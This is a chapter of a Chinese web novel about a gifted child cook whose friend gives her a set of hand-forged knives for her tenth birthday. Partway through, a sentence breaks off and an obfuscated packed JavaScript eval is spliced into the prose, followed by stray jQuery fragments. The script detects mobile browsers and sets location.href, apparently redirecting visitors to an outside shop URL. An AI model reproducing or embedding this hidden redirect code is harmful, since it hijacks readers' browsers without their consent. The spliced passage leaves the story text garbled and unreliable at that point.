春去秋来，云锦里的梧桐叶黄了又绿，绿了又黄。


    “如酌汤面”开业那天，红绸映红了半条街。三百平米的店面，明档厨房里蒸汽腾腾。宋听雅站在崭新的不锈钢灶台后，看着第一锅高汤在紫砂大锅里翻滚，乳白色的汤汁漫出浓郁的骨香。她恍惚了一瞬，随即便被李芬那声洪亮的“老板娘，加汤！”喊回了魂。


    日子就这样在烟火气里扎下了根。


    三年里，菜单换了七次时令，墙上的“今日售罄”牌子换坏了两块。


    生意比预想的还要好。老客们寻着味儿追来，新客们被口碑引来。附近的白领把这儿当成了“续命食堂”，甚至连一些挑剔的老饕，也愿意为了那一碗看似普通却滋味无穷的“暖胃面”，在门口排上半小时长队。


    十岁的宋如淼每天放学先写作业，写到一半会被楼下的汤香拽一下鼻尖；她趴在二楼窗边算完最后一道题，再拿着笔记本跑去明档前，像例行巡查一样试一口汤。


    在学校，她是老师眼里的“别人家的孩子”。数学课上，心算速度快得惊人——那是前世在天宫膳房，为了精准配比龙肝凤髓练出来的本能；语文作文里，她写的永远是食物与爱。老师批语：“文字有远超年龄的通透与温情。”


    而谢晚酌依旧是那个清冷矜贵的学神。只是现在的他，书包侧袋里永远装着一瓶她爱喝的温热桂花蜜茶。放学后，两人习惯在店里二楼那个朝南的小包间写作业。


    窗外，四季流转。春日飞花，冬日落雪。


    她咬着笔杆解题时，他会顺手将窗户关小半扇；他专注看书时，她会悄悄把刚出炉、甜度减半的栗子糕推到他手边。


    她把栗子糕推过去时，他没抬头，只把那瓶桂花蜜茶往她手边挪了半寸。


    而在周末，她是方总厨眼里的“妖孽”。


    谢夫人安排的研学厨房里，国宴出身的方总厨从一开始的漫不经心，到后来恨不得把一身绝学倾囊相授，只用了一个月。


    那天，宋如淼仅凭一眼一闻，就从十几条外表无差的海参里，挑出了发制火候最完美的两条。方总厨当时愣了半天，最后只叹了一句：“祖师爷赏饭吃，这丫头的五感，是通了灵的。”


    她像一块干燥的海绵，疯狂吸收着这个世界的烹饪技法。她把学来的“理”，悄无声息地化入自家的家常菜里。


    一道红烧排骨，她改了炒糖色的火候，加了一钱陈皮，淋了三滴十年花雕。客人们吃不出门道，只觉得：“这儿的肉，吃进胃里就是舒坦，连心情都变好了。”


    随着技艺精进，【极寒渊境】的进度条也在稳步爬升。


    12.3%……18%……25%……


    直到生日的一周前，云城遭遇了一场罕见的秋季暴雨，进度条似乎也到了一个微妙的瓶颈。


    雨像瓢泼一样砸在云锦里的青石板路上，狂风把路边的梧桐树吹得东倒西歪。因为天气恶劣，“如酌汤面”难得在晚上七点就送走了最后一波客人，提前挂了打烊牌子。


    店里只剩下一盏暖黄的吊灯。宋听雅在二楼盘账，李芬阿姨已经顶着雨披回家了。


    一楼的明档厨房里，十岁的宋如淼正对着案板发愁。


    案板上放着一块上好的牛腱子肉，纹理清晰，肉质紧实。这是方总厨特意让人送来的，让她练习“灯影牛肉”的切片技法。


    “要薄如蝉翼，透光可见纹理，且肉片不能散。”这是方总厨的要求。


    宋如淼深吸一口气，握紧了手里那把用了三年的不锈钢菜刀。


    “咄。”


    第一刀下去，厚了。


    “咄。”


    第二刀，薄是薄了，但边缘起了毛刺，肉的纤维被钝刀硬生生挤压断裂，失去了那种灵动的韧性。


    宋如淼眉头紧锁，手腕因为长时间发力而微微颤抖。她不甘心地再次下刀，可那把在普通人手里尚算锋利的菜刀，在此时就像一根烧火棍，迟钝、笨重，根本跟不上她脑海里那个精准的“理”。


    那种明明知道该怎么做，手里的工具却跟不上的无力感，让她有些烦躁。


    “呲——”


    刀刃在一块筋膜上打滑，猛地偏了一下。


    宋如淼吓了一跳，本能地缩手，刀锋擦着指甲盖划过。虽然没见血，但指尖传来的钝痛还是让她倒吸一口凉气，手里的刀“哐当”一声掉在案板上。


    “怎么了？”


    一道少年的声音立刻从楼梯口传来，带着明显的急促。


    一直安静坐在角落看书等雨停的谢晚酌，几乎是瞬间就放下了手里的英文原版书，大步走进了明档区。


    “没、没事。”宋如淼下意识把手背到身后，“就是刀滑了一下。”


    谢晚酌没说话，那双已经初具威严的瑞凤眼微微眯起，不容分说地拉过她的手。仔细检查了一遍，确信指甲盖只是蹭白了一块，没有破皮流血后，他紧绷的肩膀才松弛下来。


    但他没有放开她的手，而是转头看向案板上那块被切得参差不齐的牛肉，以及那把掉在一旁的菜刀。


    他伸出修长的手指，在刀刃上轻轻摸了一下。


    “刀钝了？”他问。


    “也不算钝，平时切菜够用了。”宋如淼有些懊恼地嘟囔，像个考砸了的小学生，“是我想做的太精细了。这刀钢口软，磨得再快，切几片硬肉就卷刃。而且太厚，进去的时候阻力大，肉就散了。”


    她叹了口气，看着自己的手掌：“方爷爷说，厨师到了这一步，就像剑客。心里有招，手里没剑，也是白搭。我现在……大概就是那个拿着木棍想练绝世剑法的人吧。”


    她明明是在自嘲，谢晚酌却听得心里一紧。


    他看着眼前的小姑娘。才十岁，手掌心里已经有了一层薄薄的茧，那是常年握刀留下的勋章。她总是笑嘻嘻地给别人做暖胃的汤，却很少有人注意到，她在后厨为了那一口完美的味道，要付出多少枯燥的练习。


    “既然是剑客，就该配把好剑。”谢晚酌低声说道，声音被窗外的雨声衬得格外清晰。


    “好剑很贵的。”宋如淼重新拿起那把沉重的菜刀，用抹布擦了擦，“而且好的厨刀很难保养，我现在力气还小，这把凑合用吧。等我攒够了钱，一定要买一把那种日本匠人打的‘青纸钢’！”


    说者无心，听者有意。


    谢晚酌的目光在那把普通的菜刀上停留了两秒，默默记下了“青纸钢”这三个字。


    “先别练了。”他拿过她手里的刀，挂回刀架，“雨这么大，饿不饿？我想吃面。”


    话题转得太快，宋如淼愣了一下，随即眼睛一亮：“饿！我也饿了！那我给你做碗新的？刚才切坏的牛肉正好做浇头！”


    “嗯，要辣一点的。”


    “好嘞！”


    只要一回到灶台前，刚才的挫败感就烟消云散。宋如淼熟练地起锅烧油，虽然刀工受限做不成灯影牛肉，但做一碗香喷喷的红烧牛肉面，这把刀还是绰绰有余的。


    十分钟后，两碗热气腾腾的面端上了桌。


    窗外风雨如晦，店内灯火可亲。


    谢晚酌挑起一筷子面条，看着对面吃得鼻尖冒汗的小姑娘。她吃得香，腮帮子鼓鼓的，像只囤食的小松鼠。刚才那点因为刀具不趁手而产生的阴霾，已经被这碗热汤彻底治愈了。


    “淼淼。”他忽然叫她。


    “唔？”宋如淼抬头，嘴角还沾着一点汤汁。


    谢晚酌抽出一张纸巾，自然地递给她，语气里带着几分少年特有的笃定：“以后遇到了问题，或者是缺了什么‘兵器’，要跟我说。”


    “啊？”


    “我是说……”谢晚酌顿了顿，移开目光，看向碗里浮沉的牛肉粒，“投资人有义务保障主厨的硬件设施。这属于……合理的商业投入。”


    宋如淼眨眨眼，看着他微红的耳根，忽然扑哧一声笑了。


    “知道啦，投资人哥哥！”


    她把碗里的荷包蛋夹给谢晚酌，笑眯眯地说：“那为了回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144007|195438||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    报投资人，这个蛋归你！吃了我的蛋，就要保佑我早日练成绝世神功哦！”


    谢晚酌看着碗里多出来的荷包蛋，唇角微扬。


    那天晚上，谢晚酌回家后，看了一眼法国那边的时间，拨通了远洋电话。


    “哥，帮我找一套刀。要最好的青纸二号钢，手工锻打。对，全套……不是我用。”


    电话那头似乎调侃了一句什么，谢晚酌顿了顿，声音低了几分：“……是我想送给淼淼的生日礼物。她切菜切到手了。”


    那场夜雨，并没有浇灭少年的心事，反而让某些种子，在潮湿的泥土里，发了芽。


    到了十岁生日这天，进度条逼近了30%。


    这一天，秋高气爽。


    “如酌汤面”提前挂了“东主有喜”的牌子。店门紧闭，里面却暖意融融。


    没有豪华宴席，只有宋听雅亲手做的一桌长寿面和家常菜。桌子中央，摆着一个不算精致的奶油蛋糕，上面用果酱歪歪扭扭画了个小锅铲——那是李芬阿姨的手笔。


    “淼淼，快许愿！”宋听雅笑着催促，眼角的细纹里都藏着幸福。


    宋如淼闭上眼，双手合十。


    第一个愿望：妈妈永远健康，再也不受穷苦。第二个愿望：这人间烟火，能暖更多人的胃。第三个……


    她悄悄把眼睛睁开一条缝。对面的谢晚酌正静静看着她。少年身量抽条，肩膀宽了，眉眼间的稚气褪去，原本苍白的肤色如今有了健康的血色。那双曾经像荒原一样的眼睛里，此刻映着烛火，竟有了春水初融的暖意。


    她在心里默念：希望晚酌哥哥的“渊境”快点满吧。


    蜡烛吹灭，欢呼声起。


    谢晚酌等大家闹完，才走到她面前。他递过一个深胡桃色的长木匣。


    木匣沉手，边角包着哑光铜饰，带着淡淡的檀木冷香。


    “这是……”宋如淼有些惊讶。


    “打开看看。”谢晚酌的声音还在变声期，带着几分少年的低哑磁性。


    她拨开云纹锁扣，掀开盖子。


    深蓝色的丝绒上，静静躺着一套刀具。一共五把，主厨、三德、蔬果、削皮，还有一根磨刀棒。刀身并非那种刺目的亮银色，而是泛着幽暗的青光，刃口处有着如水波般流动的锻打纹路。


    宋如淼是识货的，她指尖悬在刀背上，甚至能感觉到那种凛冽的寒气。


    “这是‘青纸二号’钢，手工锻打的。”谢晚酌语气平淡，仿佛在说一件寻常事，“我记得你上次提过，现在用的刀切韧性食材时手感发涩。我拜托我哥从日本一位老匠人那里求来的，这一套，刚好适合你现在的手型，也能再用个三五年。”


    宋如淼猛地抬头。她只是随口抱怨过一次，连妈妈都没在意，他竟然记住了？而且……“青纸钢”极难保养，却极其锋利，是真正的主厨才会用的“兵刃”。


    “这太贵重了……”她下意识想缩手。


    “厨师的刀，是手的延伸。”谢晚酌看着她，眼神专注而认真，“你有那个天赋，也够努力，值得。”


    宋如淼看着他。少年站在暖黄的灯光下，神色坦荡，那份心意比这套名刀更加沉甸甸。


    心口那簇属于功德的小火苗，像是被泼了一勺热油，呼啦一下燃得更高了。


    她不再推辞，郑重地合上木匣，紧紧抱在怀里，仰起头，笑得眉眼弯弯，琥珀色的瞳仁里像是藏进了漫天星光。


    “谢谢晚酌哥哥！我会好好用它们的！”她大声保证，“我会用这把刀，做出全世界最好吃的菜！”


    谢晚酌看着她灿烂的笑脸，一向清冷的唇角，极轻地勾了一下。


    窗外，秋阳正好。


    曾经那个试图用旧日阴霾困住她们的傅家，早已被谢家和这三年的安稳日子挡在门外。宋听雅不再提，宋如淼也不再问。


    宋如淼摸了摸怀里的刀匣，又看了一眼忙碌却快乐的妈妈，和身边安静守护的少年。


    她忽然觉得，人间真好。